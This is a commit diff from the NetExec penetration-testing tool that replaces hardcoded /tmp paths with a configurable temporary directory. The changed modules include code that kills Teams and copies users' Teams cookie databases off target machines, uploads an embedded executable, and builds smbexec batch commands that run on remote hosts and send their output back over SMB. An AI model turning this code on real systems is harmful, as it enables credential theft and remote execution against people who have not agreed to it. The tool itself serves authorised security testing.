Skip to content

Commit 69e47d1

Browse files
committed
Fix issues with hardcoded /tmp
1 parent bd7202d commit 69e47d1

5 files changed

Lines changed: 32 additions & 26 deletions

File tree

nxc/modules/pi.py

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
from base64 import b64decode
22
from sys import exit
3-
from os import path
3+
from os.path import abspath, join, isfile
44

5-
from nxc.paths import DATA_PATH
5+
from nxc.paths import DATA_PATH, TMP_PATH
66

77

88
class NXCModule:
@@ -25,7 +25,7 @@ def options(self, context, module_options):
2525
self.pi = "pi.exe"
2626
self.useembeded = True
2727
self.pid = self.cmd = ""
28-
with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
28+
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
2929
self.pi_embedded = b64decode(pi_file.read())
3030

3131
if "EXEC" in module_options:
@@ -36,11 +36,11 @@ def options(self, context, module_options):
3636

3737
def on_admin_login(self, context, connection):
3838
if self.useembeded:
39-
file_to_upload = "/tmp/pi.exe"
39+
file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
4040
with open(file_to_upload, "wb") as pm:
4141
pm.write(self.pi_embedded)
4242
else:
43-
if path.isfile(self.imp_exe):
43+
if isfile(self.imp_exe):
4444
file_to_upload = self.imp_exe
4545
else:
4646
context.log.error(f"Cannot open {self.imp_exe}")

nxc/modules/spider_plus.py

Lines changed: 16 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,10 @@
11
import json
22
import errno
3-
import os
3+
from os.path import abspath, join, split, exists, splitext, getsize, sep
4+
from os import makedirs, remove, stat
45
import time
56
import traceback
7+
from nxc.paths import TMP_PATH
68
from nxc.protocols.smb.remotefile import RemoteFile
79
from impacket.smb3structs import FILE_READ_DATA
810
from impacket.smbconnection import SessionError
@@ -36,7 +38,7 @@ def human_time(timestamp):
3638
def make_dirs(path):
3739
"""Creates directories at the given path. It handles the exception `os.errno.EEXIST` that may occur if the directories already exist."""
3840
try:
39-
os.makedirs(path)
41+
makedirs(path)
4042
except OSError as e:
4143
if e.errno != errno.EEXIST:
4244
raise
@@ -170,13 +172,13 @@ def get_file_save_path(self, remote_file):
170172
The folder path and filename are then obtained separately.
171173
"""
172174
# Remove the backslash before the remote host part and replace slashes with the appropriate path separator
173-
remote_file_path = str(remote_file)[2:].replace("/", os.path.sep).replace("\\", os.path.sep)
175+
remote_file_path = str(remote_file)[2:].replace("/", sep).replace("\\", sep)
174176

175177
# Split the path to obtain the folder path and the filename
176-
folder, filename = os.path.split(remote_file_path)
178+
folder, filename = split(remote_file_path)
177179

178180
# Join the output folder with the folder path to get the final local folder path
179-
folder = os.path.join(self.output_folder, folder)
181+
folder = join(self.output_folder, folder)
180182

181183
return folder, filename
182184

@@ -283,7 +285,7 @@ def parse_file(self, share_name, file_path, file_info):
283285
return
284286

285287
# Check file extension filter.
286-
_, file_extension = os.path.splitext(file_path)
288+
_, file_extension = splitext(file_path)
287289
if file_extension:
288290
self.stats["file_exts"].add(file_extension.lower())
289291
if file_extension.lower() in self.exclude_exts:
@@ -306,10 +308,10 @@ def parse_file(self, share_name, file_path, file_info):
306308

307309
# Check if the file is already downloaded and up-to-date.
308310
file_dir, file_name = self.get_file_save_path(remote_file)
309-
download_path = os.path.join(file_dir, file_name)
311+
download_path = join(file_dir, file_name)
310312
needs_update_flag = False
311-
if os.path.exists(download_path):
312-
if file_modified_time <= os.stat(download_path).st_mtime and os.path.getsize(download_path) == file_size:
313+
if exists(download_path):
314+
if file_modified_time <= stat(download_path).st_mtime and getsize(download_path) == file_size:
313315
self.logger.info(f'File already downloaded "{file_path}" => "{download_path}".')
314316
self.stats["num_files_unmodified"] += 1
315317
return
@@ -348,7 +350,7 @@ def save_file(self, remote_file, share_name):
348350
remote_file.seek(0, 0)
349351

350352
folder, filename = self.get_file_save_path(remote_file)
351-
download_path = os.path.join(folder, filename)
353+
download_path = join(folder, filename)
352354

353355
# Create the subdirectories based on the share name and file path.
354356
self.logger.debug(f"Creating folder '{folder}'")
@@ -365,8 +367,8 @@ def save_file(self, remote_file, share_name):
365367
self.logger.fail(f'Error writing file "{download_path}" from share "{share_name}": {e}')
366368

367369
# Check if the file is empty and should not be.
368-
if os.path.getsize(download_path) == 0 and remote_file.get_filesize() > 0:
369-
os.remove(download_path)
370+
if getsize(download_path) == 0 and remote_file.get_filesize() > 0:
371+
remove(download_path)
370372
remote_path = str(remote_file)[2:]
371373
self.logger.fail(f'Unable to download file "{remote_path}".')
372374

@@ -375,7 +377,7 @@ def dump_folder_metadata(self, results):
375377
376378
The results are formatted with indentation and sorted keys before being written to the file.
377379
"""
378-
metadata_path = os.path.join(self.output_folder, f"{self.host}.json")
380+
metadata_path = join(self.output_folder, f"{self.host}.json")
379381
try:
380382
with open(metadata_path, "w", encoding="utf-8") as fd:
381383
fd.write(json.dumps(results, indent=4, sort_keys=True))
@@ -498,7 +500,7 @@ def options(self, context, module_options):
498500
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
499501
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
500502
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
501-
self.output_folder = module_options.get("OUTPUT_FOLDER", os.path.join("/tmp", "nxc_spider_plus"))
503+
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
502504

503505
def on_login(self, context, connection):
504506
context.log.display("Started module spidering_plus with the following options:")

nxc/modules/teams_localdb.py

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
11
import sqlite3
2+
from nxc.paths import TMP_PATH
3+
from os.path import abspath, join
24

35

46
class NXCModule:
@@ -16,7 +18,7 @@ def on_admin_login(self, context, connection):
1618
connection.execute("taskkill /F /T /IM teams.exe")
1719
found = 0
1820
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
19-
with open("/tmp/teams_cookies2.txt", "wb") as f:
21+
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
2022
for path in paths:
2123
try:
2224
connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
@@ -37,7 +39,7 @@ def on_admin_login(self, context, connection):
3739
@staticmethod
3840
def parse_file(context, name):
3941
try:
40-
conn = sqlite3.connect("/tmp/teams_cookies2.txt")
42+
conn = sqlite3.connect(abspath(join(TMP_PATH, "teams_cookies2.txt")))
4143
c = conn.cursor()
4244
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
4345
row = c.fetchone()

nxc/protocols/smb.py

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
import ntpath
22
import binascii
33
import os
4+
from os.path import abspath
45
import re
56
from io import StringIO
67
from Cryptodome.Hash import MD4
@@ -1280,7 +1281,7 @@ def put_file_single(self, src, dst):
12801281

12811282
def put_file(self):
12821283
for src, dest in self.args.put_file:
1283-
self.put_file_single(src, dest)
1284+
self.put_file_single(abspath(src), dest)
12841285

12851286
def get_file_single(self, remote_path, download_path):
12861287
share_name = self.args.share
@@ -1298,7 +1299,7 @@ def get_file_single(self, remote_path, download_path):
12981299

12991300
def get_file(self):
13001301
for src, dest in self.args.get_file:
1301-
self.get_file_single(src, dest)
1302+
self.get_file_single(src, abspath(dest))
13021303

13031304

13041305
def enable_remoteops(self):

nxc/protocols/smb/smbexec.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
from time import sleep
44
from impacket.dcerpc.v5 import transport, scmr
55
from nxc.helpers.misc import gen_random_string
6+
from nxc.paths import TMP_PATH
67
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
78

89

@@ -95,7 +96,7 @@ def execute_remote(self, data):
9596

9697
command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
9798

98-
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
99+
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
99100
batch_file.write(command)
100101

101102
self.logger.debug("Hosting batch file with command: " + command)
@@ -179,7 +180,7 @@ def execute_fileless(self, data):
179180

180181
command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data
181182

182-
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
183+
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
183184
batch_file.write(command)
184185

185186
self.logger.debug("Hosting batch file with command: " + command)
@@ -214,7 +215,7 @@ def get_output_fileless(self):
214215

215216
while True:
216217
try:
217-
with open(path_join("/tmp", "nxc_hosted", self.__output), "rb") as output:
218+
with open(path_join(TMP_PATH, self.__output), "rb") as output:
218219
self.output_callback(output.read())
219220
break
220221
except OSError:

0 commit comments

Comments
 (0)